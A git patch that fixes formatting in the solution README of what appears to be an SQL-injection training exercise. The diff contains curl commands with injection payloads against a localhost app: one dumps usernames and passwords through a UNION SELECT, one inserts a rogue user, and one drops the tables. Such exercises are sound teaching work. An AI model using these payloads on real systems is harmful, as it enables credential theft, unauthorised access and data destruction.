From f82e6368c5efd6d4dd015b94d77896c0743c3dd2 Mon Sep 17 00:00:00 2001 From: Andrew Steurer Date: Tue, 13 Aug 2024 22:40:42 -0600 Subject: [PATCH] fixing formatting Signed-off-by: Andrew Steurer --- solution/README.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/solution/README.md b/solution/README.md index 2cd774f..e7828cf 100644 --- a/solution/README.md +++ b/solution/README.md @@ -66,7 +66,7 @@ Because the entrypoint for the data is in the URL, the SQL statement will need t ```sh curl \ - "http://localhost:3000/messages/1%20OR%201%3D1%20UNION%20ALL%20SELECT%20id%2C%200%20AS%20user_id%2C%20username%20%7C%7C%20'%20-%20'%20%7C%7C%20password%20FROM%20users%20--" +"http://localhost:3000/messages/1%20OR%201%3D1%20UNION%20ALL%20SELECT%20id%2C%200%20AS%20user_id%2C%20username%20%7C%7C%20'%20-%20'%20%7C%7C%20password%20FROM%20users%20--" ``` ## Inserting a login for a malicious user into the users table @@ -94,9 +94,9 @@ Because the entrypoint for the data is in the body of the request, the SQL state ```sh curl \ - --request POST \ - --data-binary "', 1); INSERT INTO users (username, password) VALUES ('maliciousUser', 'p@$$w0rd'); --" \ - http://localhost:3000/message/1 +--request POST \ +--data-binary "', 1); INSERT INTO users (username, password) VALUES ('maliciousUser', 'p@$$w0rd'); --" \ +http://localhost:3000/message/1 ``` ## Destroying the table data in the database @@ -119,7 +119,7 @@ The `DROP TABLE` statements will destroy the tables, resulting in the loss of al ```sh curl \ - --request POST \ - --data-binary "', 1); DROP TABLE messages; DROP TABLE users; --" \ - http://localhost:3000/message/1 +--request POST \ +--data-binary "', 1); DROP TABLE messages; DROP TABLE users; --" \ +http://localhost:3000/message/1 ``` \ No newline at end of file